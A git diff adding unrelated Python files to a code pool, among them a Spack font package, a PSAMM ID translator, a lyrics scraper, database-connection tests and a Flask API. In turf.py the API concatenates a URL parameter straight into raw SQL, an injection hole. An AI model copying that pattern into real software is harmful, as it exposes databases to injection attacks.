redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License (as +# published by the Free Software Foundation) version 2.1, February 1999. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and +# conditions of the GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +############################################################################## +from spack import * + + +class FontBhLucidatypewriter75dpi(Package): + """X.org bh-lucidatypewriter-75dpi font.""" + + homepage = "http://cgit.freedesktop.org/xorg/font/bh-lucidatypewriter-75dpi" + url = "https://www.x.org/archive/individual/font/font-bh-lucidatypewriter-75dpi-1.0.3.tar.gz" + + version('1.0.3', 'cab8a44ae329aab7141c7adeef0daf5a') + + depends_on('font-util') + + depends_on('fontconfig', type='build') + depends_on('mkfontdir', type='build') + depends_on('bdftopcf', type='build') + depends_on('pkg-config@0.9.0:', type='build') + depends_on('util-macros', type='build') + + def install(self, spec, prefix): + configure('--prefix={0}'.format(prefix)) + + make() + make('install') + + # `make install` copies the files to the font-util installation. + # Create a fake directory to convince Spack that we actually + # installed something. + mkdir(prefix.lib) diff --git a/pool/shard000/Python/0008376_translate_id.py b/pool/shard000/Python/0008376_translate_id.py new file mode 100644 index 0000000000000000000000000000000000000000..6af7cf9acf4f42262bf6daec98c6856d39da570d --- /dev/null +++ b/pool/shard000/Python/0008376_translate_id.py @@ -0,0 +1,210 @@ +# This file is part of PSAMM. +# +# PSAMM is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# PSAMM is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with PSAMM. If not, see . +# +# Copyright 2014-2015 Jon Lund Steffensen +# Copyright 2018-2020 Jing Wang + +from __future__ import print_function +from __future__ import division +from __future__ import absolute_import +from builtins import open +from builtins import super +import csv +import logging +from psamm.datasource.native import NativeModel +from psamm.importer import write_yaml_model +from psamm.util import mkdir_p +from future import standard_library +standard_library.install_aliases() # noqa + + +def read_mapping(mapping): + with open(mapping) as mapping_file: + mapping_id = {} + for row in csv.reader(mapping_file, delimiter='\t'): + if row[1] == '': + continue + else: + mapping_id[row[0]] = row[1] + return(mapping_id) + + +def translate_id(id, mapping): + if id not in list(mapping): + return id + return mapping[id] + + +class TranslatedModel(NativeModel): + """A :class:`NativeModel` with translated ids based on reference model. + + The compound_map, reaction_map and compartment_map are three `dict` + that use original id as key and new id as value. + Use :meth:`.write_model` to output yaml files. + """ + + def __init__(self, ref_model, + compound_map, reaction_map, compartment_map=None): + super().__init__() + self._cpd_mapping_id = compound_map + self._rxn_mapping_id = reaction_map + if compartment_map is None: + self._compartment_mapping_id = dict() + else: + self._compartment_mapping_id = compartment_map + + # initial a logger + self._logger = logging.getLogger(__name__) + + # inherit properties + self._properties = ref_model._properties + self.version_string = 'model mapped from: %s' % self.version_string + self.biomass_reaction = translate_id( + ref_model.biomass_reaction, self.rxn_mapping_id) + + # translate ids + self._translate_compartment(ref_model) + self._translate_compounds(ref_model) + self._translate_reactions(ref_model) + self._translate_exchange(ref_model) + self._translate_limits(ref_model) + + @property + def compartment_mapping_id(self): + return self._compartment_mapping_id + + @property + def cpd_mapping_id(self): + return self._cpd_mapping_id + + @property + def rxn_mapping_id(self): + return self._rxn_mapping_id + + def _translate_compartment(self, ref_model): + """Translate compartment ids.""" + # change compartments + for comp in ref_model.compartments: + new_id = translate_id(comp.id, self.compartment_mapping_id) + comp.properties['id'] = new_id + comp.properties['original_id'] = [comp.id] + comp = comp.__class__(comp.properties, filemark=comp.filemark) + self.compartments.add_entry(comp) + # change comparment_boundaries + for c1, c2 in ref_model.compartment_boundaries: + c1 = translate_id(c1, self.compartment_mapping_id) + c2 = translate_id(c2, self.compartment_mapping_id) + self.compartment_boundaries.add((c1, c2)) + self.extracellular_compartment = translate_id( + ref_model.extracellular_compartment, self.compartment_mapping_id) + + def _translate_compounds(self, ref_model): + """Translate compound ids and corresponding exchange reactions.""" + for cpd in ref_model.compounds: + new_id = translate_id(cpd.id, self.cpd_mapping_id) + if new_id not in self.compounds: # do not duplicate compounds + cpd.properties['id'] = new_id + cpd.properties['original_id'] = [cpd.id] + # refresh with changed properties + cpd = cpd.__class__(cpd.properties, filemark=cpd.filemark) + self.compounds.add_entry(cpd) + else: + self.compounds[new_id].properties['original_id'].append(cpd.id) + self._logger.warning( + 'Multiple compounds: %s will be translated to %s', + self.compounds[new_id].properties['original_id'], + new_id) + + def _compound_trans(self, id): + """Make a directly callable method for compound.translate()""" + return translate_id(id, self.cpd_mapping_id) + + def _translate_reactions(self, ref_model): + """Translate reaction ids and equations.""" + + for rxn in ref_model.reactions: + new_id = translate_id(rxn.id, self.rxn_mapping_id) + if new_id not in self.reactions: # do not duplicate reactions + rxn.properties['id'] = new_id + rxn.properties['original_id'] = rxn.id + compounds = list() + for cpd, v in rxn.equation.compounds: + cpd = cpd.translate(self._compound_trans) + cpd = cpd.in_compartment( + translate_id(cpd.compartment, + self.compartment_mapping_id) + ) + compounds.append((cpd, v)) + rxn.equation = rxn.equation.__class__( + rxn.equation.direction, compounds + ) + # test whether the same compound occurs at both sides + compound_left = set((c for c, _ in rxn.equation.left)) + compound_right = set((c for c, _ in rxn.equation.right)) + compound_common = compound_left.intersection(compound_right) + if len(compound_common) > 0: + self._logger.error(( + 'Reaction %s will have ' + 'the same compounds %s on both sides: %s'), + rxn.id, compound_common, rxn.equation) + # refresh with changed properties + rxn = rxn.__class__(rxn.properties, filemark=rxn.filemark) + self.reactions.add_entry(rxn) + else: + self._logger.error( + ('Reaction %s is omitted because its new id %s has been ' + 'assigned to %s'), + rxn.id, + new_id, + self.reactions[new_id].properties['original_id']) + + def _translate_exchange(self, ref_model): + """Translate exchange reactions.""" + # cpd is :class:`Compound(name, compartment)` + for cpd in ref_model.exchange: + new_cpd = cpd.translate(self._compound_trans) + new_cpd = new_cpd.in_compartment(self.extracellular_compartment) + if new_cpd not in self.exchange: # do not duplicate exchange + lower, upper = ref_model.exchange[cpd][2:] + name = 'EX_%s(%s)' % (new_cpd.name, + self.extracellular_compartment) + self.exchange[new_cpd] = (new_cpd, name, lower, upper) + else: + self._logger.error( + ('Exchange reaction of compound %s is omitted because ' + 'its new id %s has been assigned multiple compounds: %s'), + cpd.name, + new_cpd.name, + self.compounds[new_cpd.name].properties['original_id']) + + def _translate_limits(self, ref_model): + """"Translate reaction limits.""" + for rxn in ref_model.limits: + new_rxn = translate_id(rxn, self.rxn_mapping_id) + if new_rxn not in self.limits: # do not duplicate limits + lower, upper = ref_model.limits[rxn][1:] + self.limits[new_rxn] = (new_rxn, lower, upper) + else: + self._logger.error( + ('Limits of reaction %s is omitted because its new id %s ' + 'has been assigned to %s'), + rxn, + new_rxn, + self.reactions[new_rxn].properties['original_id']) + + def write_model(self, dest, **kwargs): + """Output model into YAML files.""" + mkdir_p(dest) + write_yaml_model(self, dest, **kwargs) diff --git a/pool/shard000/Python/0008383_minimum_depth_of_binary_tree.py b/pool/shard000/Python/0008383_minimum_depth_of_binary_tree.py new file mode 100644 index 0000000000000000000000000000000000000000..4af61426e5078a7453720a085a19e8f016b080d9 --- /dev/null +++ b/pool/shard000/Python/0008383_minimum_depth_of_binary_tree.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python +#coding: utf-8 + +# Definition for a binary tree node +class TreeNode: + def __init__(self, x): + self.val = x + self.left = None + self.right = None + +class Solution: + # @param root, a tree node + # @return an integer + def minDepth(self, root): + if not root: return 0 + if not root.left and not root.right: return 1 + if not root.left: + return self.minDepth(root.right) + 1 + if not root.right: + return self.minDepth(root.left) + 1 + + ld = self.minDepth(root.left) + rd = self.minDepth(root.right) + return min(ld,rd) + 1 + +if __name__ == '__main__': + t = [TreeNode(i) for i in range(10)] + s = Solution() + assert 1 == s.minDepth(t[0]) + + t[0].left = t[1] + assert 2 == s.minDepth(t[0]) + + t[0].right = t[2] + assert 2 == s.minDepth(t[0]) + + t[1].left = t[3] + assert 2 == s.minDepth(t[0]) + diff --git a/pool/shard000/Python/0008384_jlyrics.py b/pool/shard000/Python/0008384_jlyrics.py new file mode 100644 index 0000000000000000000000000000000000000000..66e9aaf6af5af7eb2f1295ab220d2e6768356784 --- /dev/null +++ b/pool/shard000/Python/0008384_jlyrics.py @@ -0,0 +1,120 @@ +# -*- coding: utf-8 -*- + +import os + +from . import compat + +from lxml import html +from six.moves import urllib + + +_BASE_URL = 'http://j-lyric.net/' + + +def _get_url(artist_id, title_id=None): + url = _BASE_URL + '/'.join(('artist', artist_id, '')) + + if title_id is not None: + url += title_id + '.html' + + return url + + +def _split_url(url): + x = url.split('/') + + if url.endswith('.html'): + return x[-2], os.path.splitext(x[-1])[0] + + return x[-2], None + + +def search(title=None, artist=None, lyrics=None, ct=2, ca=2, cl=2, p=1): + q = {'ct': ct, 'ca': ca, 'cl': cl, 'p': p} + + if title: + q.update({'kt': title.encode('utf-8')}) + if artist: + q.update({'ka': artist.encode('utf-8')}) + if lyrics: + q.update({'kl': lyrics.encode('utf-8')}) + + try: + url = _BASE_URL + '?'.join(('index.php', urllib.parse.urlencode(q))) + root = html.parse(url).getroot() + body = root.get_element_by_id('lyricList') + except (KeyError, IOError): + raise StopIteration() + + for b in body.find_class('body'): + t = b.find_class('title')[0].getchildren()[0] + title = t.text_content() + artist_id, title_id = _split_url(t.attrib['href']) + artist = b.find_class('status')[0].getchildren()[0].text_content() + yield title, title_id, artist, artist_id + + +def get(artist_id, title_id): + try: + root = html.parse(_get_url(artist_id, title_id)).getroot() + body = root.get_element_by_id('Lyric') + return '\n'.join(' '.join(t.split()) for t in body.itertext()) + except (KeyError, IOError): + return None + + +def get_artist_id(name): + for _, _, artist, artist_id in search(artist=name, ca=1): + if name == artist: + return artist_id + return None + + +def itertitles(artist_id): + try: + root = html.parse(_get_url(artist_id)).getroot() + body = root.get_element_by_id('cnt') + except (KeyError, IOError): + raise StopIteration() + + for x in body.find_class('ttl'): + x = x.getchildren()[0] + title = x.text_content() + _, title_id = _split_url(x.attrib['href']) + yield title, title_id + + +if __name__ == '__main__': + import sys + import time + import errno + import codecs + import random + + artist = compat.ucode(sys.argv[1], sys.getfilesystemencoding()) + artist_id = get_artist_id(artist) + time.sleep(random.randint(1, 5)) + + if not artist_id: + raise SystemExit('artist not found') + + try: + os.mkdir(artist_id, 0o755) + except OSError as e: + if e.errno != errno.EEXIST: + raise + + for title, title_id in itertitles(artist_id): + time.sleep(random.randint(3, 15)) + + path = os.path.join(artist_id, title_id) + '.txt' + lyrics = get(artist_id, title_id) + + if not lyrics: + print('could not get %s/%s' % (artist_id, title_id)) + continue + + with codecs.open(path, 'w', encoding='utf-8') as fp: + fp.write(lyrics) + + print('dumped %s' % path) diff --git a/pool/shard000/Python/0008385_log.py b/pool/shard000/Python/0008385_log.py new file mode 100644 index 0000000000000000000000000000000000000000..c80f8952b7fd0e8038e65070946582b042008970 --- /dev/null +++ b/pool/shard000/Python/0008385_log.py @@ -0,0 +1,34 @@ +import logging +import datetime as dt + + +# http://stackoverflow.com/questions/15727420/using-python-logging-in-multiple-modules +class MyFormatter(logging.Formatter): + converter = dt.datetime.fromtimestamp + + def formatTime(self, record, datefmt=None): + ct = self.converter(record.created) + if datefmt: + s = ct.strftime(datefmt) + else: + t = ct.strftime("%Y-%m-%d %H:%M:%S") + s = "%s,%03d" % (t, record.msecs) + return s + + +# http://stackoverflow.com/questions/7621897/python-logging-module-globally +def setup_custom_logger(name, filename=None): + formatter = MyFormatter(fmt='[%(asctime)s][%(module)s] %(message)s', datefmt='%Y-%m-%d,%H:%M:%S.%f%z') + # formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(module)s - %(message)s') + + if filename: + handler = logging.FileHandler(filename) + else: + handler = logging.StreamHandler() + + handler.setFormatter(formatter) + + logger = logging.getLogger(name) + logger.setLevel(logging.DEBUG) + logger.addHandler(handler) + return logger diff --git a/pool/shard000/Python/0008386_new_delta.py b/pool/shard000/Python/0008386_new_delta.py new file mode 100644 index 0000000000000000000000000000000000000000..0bc576e473b6beeb5b935da660a1f3722927700b --- /dev/null +++ b/pool/shard000/Python/0008386_new_delta.py @@ -0,0 +1,149 @@ +# Copyright (C) 2011 Crystalnix + +# This file is part of omaha-server. + +# omaha-server is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# omaha-server is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with omaha-server. If not, see . + +import re +from twisted.web import resource +from config import Config +from util import * +import hashlib, base64 + +class NewDeltaResource(resource.Resource): + isLeaf = True + pathFromRoot = '/service/admin/new_delta' + + def render_GET(self, request): + output = """ + + + + + + House of Life Update Manager + + + + + + + + + + + + + """.format(self.pathFromRoot) + + output += """ + + + Input "From" Delta Update Version Number + + + + Select a File to Upload + + + + + + + + + + + + + + + + + + + + + + + + + + Back to main page + + """.format(self.pathFromRoot) + + output += """ + + + + +""" + return output + + def render_POST(self, request): + """ + + """ + versionRegex = re.compile('^\d+\.\d+\.\d+\.\d+$') + if not versionRegex.match(request.args['fromVersion'][0]): + request.setResponseCode(400) # Bad request + return "Error: malformed version number." + + newDict = loadJsonAndCheckIfLatestKeyExists(Config.bitpopNewUpdateInfoFile) + if not newDict['latestExists']: + request.setResponseCode(500) + return 'Error: Bad new update information file or file does not exist.' + + newInfo = newDict['jsonData'] + + outDir = os.path.join(Config.bitpopDirectory, newInfo['latest']) + if not os.path.exists(outDir): + request.setResponseCode(500) + return 'Error: Update directory not created yet.' + + outDir = os.path.join(outDir, request.args['fromVersion'][0]) + if not os.path.exists(outDir): + os.mkdir(outDir, 0755) + elif not os.path.isdir(outDir): + os.remove(outDir) + os.mkdir(outDir, 0755) + filename = os.path.join(outDir, Config.installerName) + + try: + outputStream = open(filename, 'wb') + outputStream.write(request.args['fileToUpload'][0]) + outputStream.close() + + sha = hashlib.new('sha1') + sha.update(request.args['fileToUpload'][0]) + hash = base64.b64encode(sha.digest()) + + if not newInfo.has_key('delta') or type(newInfo['delta']) != type([]): + newInfo['delta'] = [] + if not newInfo.has_key('deltaHash') or type(newInfo['deltaHash']) != type([]): + newInfo['deltaHash'] = [] + newInfo['delta'].append(request.args['fromVersion'][0]) + newInfo['deltaHash'].append(hash) + bitpopUploadInfoFile = open(Config.bitpopNewUpdateInfoFile, 'w') + json.dump(newInfo, bitpopUploadInfoFile) + bitpopUploadInfoFile.close() + except: + request.setResponseCode(500) # Internal server error + return "Error: Internal Server Error. Failed to do some file operation." + + return "OK. File was successfully uploaded to server." \ No newline at end of file diff --git a/pool/shard000/Python/0008391_join.py b/pool/shard000/Python/0008391_join.py new file mode 100644 index 0000000000000000000000000000000000000000..6f94d26ef86a92c7b91e6fbb5a32cc6e6621c180 --- /dev/null +++ b/pool/shard000/Python/0008391_join.py @@ -0,0 +1,93 @@ +""" +Copyright (c) 2011, Douban Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + + * Neither the name of the Douban Inc. nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +""" + +from pyspark.resultiterable import ResultIterable + +def _do_python_join(rdd, other, numPartitions, dispatch): + vs = rdd.map(lambda (k, v): (k, (1, v))) + ws = other.map(lambda (k, v): (k, (2, v))) + return vs.union(ws).groupByKey(numPartitions).flatMapValues(lambda x : dispatch(x.__iter__())) + + +def python_join(rdd, other, numPartitions): + def dispatch(seq): + vbuf, wbuf = [], [] + for (n, v) in seq: + if n == 1: + vbuf.append(v) + elif n == 2: + wbuf.append(v) + return [(v, w) for v in vbuf for w in wbuf] + return _do_python_join(rdd, other, numPartitions, dispatch) + + +def python_right_outer_join(rdd, other, numPartitions): + def dispatch(seq): + vbuf, wbuf = [], [] + for (n, v) in seq: + if n == 1: + vbuf.append(v) + elif n == 2: + wbuf.append(v) + if not vbuf: + vbuf.append(None) + return [(v, w) for v in vbuf for w in wbuf] + return _do_python_join(rdd, other, numPartitions, dispatch) + + +def python_left_outer_join(rdd, other, numPartitions): + def dispatch(seq): + vbuf, wbuf = [], [] + for (n, v) in seq: + if n == 1: + vbuf.append(v) + elif n == 2: + wbuf.append(v) + if not wbuf: + wbuf.append(None) + return [(v, w) for v in vbuf for w in wbuf] + return _do_python_join(rdd, other, numPartitions, dispatch) + + +def python_cogroup(rdd, other, numPartitions): + vs = rdd.map(lambda (k, v): (k, (1, v))) + ws = other.map(lambda (k, v): (k, (2, v))) + def dispatch(seq): + vbuf, wbuf = [], [] + for (n, v) in seq: + if n == 1: + vbuf.append(v) + elif n == 2: + wbuf.append(v) + return (ResultIterable(vbuf), ResultIterable(wbuf)) + return vs.union(ws).groupByKey(numPartitions).mapValues(dispatch) diff --git a/pool/shard000/Python/0008392_test_connection.py b/pool/shard000/Python/0008392_test_connection.py new file mode 100644 index 0000000000000000000000000000000000000000..b0fc0527db9e94062bd4c6e6fd0c66c366c8a7eb --- /dev/null +++ b/pool/shard000/Python/0008392_test_connection.py @@ -0,0 +1,167 @@ +import pytest +from helpers import for_one_database, get_credentials +from query_fixture import unique_table_name + +from turbodbc import DatabaseError, InterfaceError, connect, make_options + + +@for_one_database +def test_cursor_on_closed_connection_raises(dsn, configuration): + connection = connect(dsn, **get_credentials(configuration)) + connection.close() + + with pytest.raises(InterfaceError): + connection.cursor() + + +@for_one_database +def test_closing_twice_is_ok(dsn, configuration): + connection = connect(dsn, **get_credentials(configuration)) + + connection.close() + connection.close() + + +@for_one_database +def test_closing_connection_closes_all_cursors(dsn, configuration): + connection = connect(dsn, **get_credentials(configuration)) + cursor_1 = connection.cursor() + cursor_2 = connection.cursor() + connection.close() + + with pytest.raises(InterfaceError): + cursor_1.execute("SELECT 42") + + with pytest.raises(InterfaceError): + cursor_2.execute("SELECT 42") + + +@for_one_database +def test_no_autocommit(dsn, configuration): + connection = connect(dsn, **get_credentials(configuration)) + + connection.cursor().execute("CREATE TABLE test_no_autocommit (a INTEGER)") + connection.close() + + connection = connect(dsn, **get_credentials(configuration)) + with pytest.raises(DatabaseError): + connection.cursor().execute("SELECT * FROM test_no_autocommit") + + +@for_one_database +def test_commit_on_closed_connection_raises(dsn, configuration): + connection = connect(dsn, **get_credentials(configuration)) + connection.close() + + with pytest.raises(InterfaceError): + connection.commit() + + +@for_one_database +def test_commit(dsn, configuration): + table_name = unique_table_name() + connection = connect(dsn, **get_credentials(configuration)) + + connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)") + connection.commit() + + connection.close() + + connection = connect(dsn, **get_credentials(configuration)) + cursor = connection.cursor() + cursor.execute(f"SELECT * FROM {table_name}") + results = cursor.fetchall() + assert results == [] + + cursor.execute(f"DROP TABLE {table_name}") + connection.commit() + + +@for_one_database +def test_rollback_on_closed_connection_raises(dsn, configuration): + connection = connect(dsn, **get_credentials(configuration)) + connection.close() + + with pytest.raises(InterfaceError): + connection.rollback() + + +@for_one_database +def test_rollback(dsn, configuration): + table_name = unique_table_name() + connection = connect(dsn, **get_credentials(configuration)) + + connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)") + connection.rollback() + + with pytest.raises(DatabaseError): + connection.cursor().execute(f"SELECT * FROM {table_name}") + + +@for_one_database +def test_autocommit_enabled_at_start(dsn, configuration): + table_name = unique_table_name() + options = make_options(autocommit=True) + connection = connect( + dsn, turbodbc_options=options, **get_credentials(configuration) + ) + + connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)") + connection.close() + + connection = connect(dsn, **get_credentials(configuration)) + cursor = connection.cursor() + cursor.execute(f"SELECT * FROM {table_name}") + results = cursor.fetchall() + assert results == [] + + cursor.execute(f"DROP TABLE {table_name}") + connection.commit() + + +@for_one_database +def test_autocommit_switching(dsn, configuration): + table_name = unique_table_name() + + connection = connect(dsn, **get_credentials(configuration)) + connection.autocommit = True # <--- + connection.cursor().execute(f"CREATE TABLE {table_name} (a INTEGER)") + connection.close() + + options = make_options(autocommit=True) + connection = connect( + dsn, turbodbc_options=options, **get_credentials(configuration) + ) + connection.autocommit = False # <--- + connection.cursor().execute(f"INSERT INTO {table_name} VALUES (?)", [42]) + connection.close() + + # table is there, but data was not persisted + connection = connect(dsn, **get_credentials(configuration)) + cursor = connection.cursor() + cursor.execute(f"SELECT * FROM {table_name}") + results = cursor.fetchall() + assert results == [] + + cursor.execute(f"DROP TABLE {table_name}") + connection.commit() + + +@for_one_database +def test_autocommit_querying(dsn, configuration): + connection = connect(dsn, **get_credentials(configuration)) + assert connection.autocommit is False + connection.autocommit = True + assert connection.autocommit is True + connection.close() + + +@for_one_database +def test_pep343_with_statement(dsn, configuration): + + with connect(dsn, **get_credentials(configuration)) as connection: + cursor = connection.cursor() + + # connection should be closed, test it with the cursor + with pytest.raises(InterfaceError): + cursor.execute("SELECT 42") diff --git a/pool/shard000/Python/0008396_homogenous.py b/pool/shard000/Python/0008396_homogenous.py new file mode 100644 index 0000000000000000000000000000000000000000..c08c58f909b7105d2c57a73a77f857034c840d6c --- /dev/null +++ b/pool/shard000/Python/0008396_homogenous.py @@ -0,0 +1,144 @@ +from warnings import warn + +import numpy as np + + +class HomogenousTransform: + def __init__(self, m=None): + if m is None: + m = np.eye(3) + assert m.shape == (3, 3) + self.m = np.matrix(m) + self._checkDeterminant() + + def _checkDeterminant(self): + determinant = np.linalg.det(self.m) + assert not np.allclose(determinant, 0) + + def isIsotropicScale(self): + return np.abs(self.m[0, 0]) == np.abs(self.m[1, 1]) + + def scale(self, value): + if not self.isIsotropicScale(): + warn("scale() called with non-uniform expansion!") + + projected0 = self.project([[0, 0]]) + projected1 = self.project([[1, 0]]) + + pDelta = projected1 - projected0 + scale = np.sqrt(np.sum(pDelta * pDelta)) + + return value * scale + + def project(self, xys): + xys = np.array(xys).reshape((2, -1)) + assert xys.shape[0] == 2 + length = xys.shape[1] + paddin = np.ones((1, length)) + xyw = np.concatenate((xys, paddin), axis=0) + prod = self.m * xyw + prod /= prod[2, :] + return np.array(prod[0:2, :]) + + def __mul__(self, other): + return HomogenousTransform(self.m * other.m) + + @staticmethod + def rotation(phi): + # MRG TODO: Unit convert here. + s = np.sin + c = np.cos + m = np.matrix([[c(phi), -s(phi), 0], + [s(phi), +c(phi), 0], + [000000, 0000000, 1]]) + return HomogenousTransform(m) + + @staticmethod + def translation(dx, dy): + m = np.matrix([[1, 0, dx], + [0, 1, dy], + [0, 0, 1]]) + return HomogenousTransform(m) + + @staticmethod + def scaling(s): + m = np.matrix([[s, 0, 0], + [0, s, 0], + [0, 0, 1]]) + return HomogenousTransform(m) + + +class TransformationContext(HomogenousTransform): + def __init__(self, m=None): + HomogenousTransform.__init__(self) + self.xformStack = [HomogenousTransform(m)] + self._updateXform() + + # Make the "with transform" handles + self.translation = self._mfgTransform(self._tr_entr) + self.rotation = self._mfgTransform(self._ro_entr) + self.flipX = self._mfgTransform(self._fx_entr) + self.flipY = self._mfgTransform(self._fy_entr) + + # Helper for the above with handles + def _mfgTransform(self, enterFunction): + tMethods = {"__init__": self._transform_init, + "__enter__": enterFunction, + "__exit__": self._popXform} + return type("", (), tMethods) + + def _transform_init(self, *args): + self._t = args + + def _fx_entr(self): + m = np.array(((-1, 0, 0), + (0, 1, 0), + (0, 0, 1))) + ht = HomogenousTransform(m) + self._pushXform(ht) + del self._t + + def _fy_entr(self): + m = np.array(((1, 0, 0), + (0, -1, 0), + (0, 0, 1))) + ht = HomogenousTransform(m) + self._pushXform(ht) + del self._t + + def _tr_entr(self): + self.addTranslation(*self._t) + del self._t + + def _ro_entr(self): + self.addRotation(*self._t) + del self._t + + def _updateXform(self): + _m = HomogenousTransform() + for xform in self.xformStack: + _m = _m * xform + + self.m[:] = _m.m + + def _pushXform(self, ht): + self.xformStack.append(ht) + self._updateXform() + + def _popXform(self, *args): + self.xformStack.pop() + self._updateXform() + + def addTranslation(self, x, y): + ht = HomogenousTransform.translation(x, y) + self._pushXform(ht) + + def addRotation(self, phi): + ht = HomogenousTransform.rotation(phi) + self._pushXform(ht) + + def getMatrix(self): + return self.m + + def copyCurrentTransform(self): + return HomogenousTransform(self.m.copy()) diff --git a/pool/shard000/Python/0008400_turf.py b/pool/shard000/Python/0008400_turf.py new file mode 100644 index 0000000000000000000000000000000000000000..7ec97b58c23b57e3258ec149796774fd0b728fe5 --- /dev/null +++ b/pool/shard000/Python/0008400_turf.py @@ -0,0 +1,45 @@ +from flask import jsonify, request, g, abort, url_for, current_app, session +from flask.ext.login import LoginManager, current_user +from . import api +from .. import cache +from app.models import Turf + +# Primary key list: get the turf now list + +@api.route('//turf/nbufs/') +def get_turf_nbufs(ip_db, offset): + try: + engine_ip_db = ip_db.replace('query','session') + engine = getattr(Turf,engine_ip_db) + turfs = engine.execute('select nbuf, now, time from turf offset ' + offset + ' limit 2000;').fetchall() + return jsonify({'turf_nbufs': [item[0] for item in turfs], 'turf_nows': [item[1] for item in turfs], 'turf_times': [item[2] for item in turfs]}) + # turfs =getattr(Turf,ip_db).with_entities(Turf.nbuf, Turf.now, Turf.time).filter(Turf.now>offset).order_by(Turf.now).limit(200).all() + # return jsonify({'turf_nbufs': [item.nbuf for item in turfs], 'turf_nows': [item.now for item in turfs], 'turf_times': [item.time for item in turfs]}) + except BaseException as error: + print("Invalid request: {'turf_nbufs':[], 'turf_nows': [], 'turf_times': []}",format(error)) + return jsonify({}) +# get the length of turf now list + + +@api.route('//turf/count') +def get_turf_count(ip_db): + try: + count =getattr(Turf,ip_db).count() + # could not return long type, so use str() + return str(count) + # return jsonify({'turf': [item.now&mask for item in turfs]}) + except BaseException as error: + print('Invalid request: {}',format(error)) + return jsonify({}) +# get a tuple of Turf table + + +@api.route('//turf/') +# @cache.cached(timeout=3600) +def get_turf(ip_db, nbuf): + try: + turf =getattr(Turf,ip_db).filter_by(nbuf=nbuf).first() + return jsonify({'turf': turf.to_json()}) + except BaseException as error: + print('Invalid request: {}',format(error)) + return jsonify({}) \ No newline at end of file diff --git a/pool/shard000/Python/0008403_auth.py b/pool/shard000/Python/0008403_auth.py new file mode 100644 index 0000000000000000000000000000000000000000..287e2dc54a5614f1b64b75952b59028b7e3b8e65 --- /dev/null +++ b/pool/shard000/Python/0008403_auth.py @@ -0,0 +1,82 @@ +# -*- coding: utf8 -*- +# +# Copyright (c) 2011, Jerónimo José Albi +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions +# are met: +# +# 1. Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# 2. Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# 3. Neither the name of copyright holders nor the names of its +# contributors may be used to endorse or promote products derived +# from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# + +import logging + +from paste.deploy.converters import asbool + +from duende import httpexc +from duende.lib import urls +from duende.lib import jsonrpc + +LOG = logging.getLogger(__name__) + + +class AuthMiddleware: + 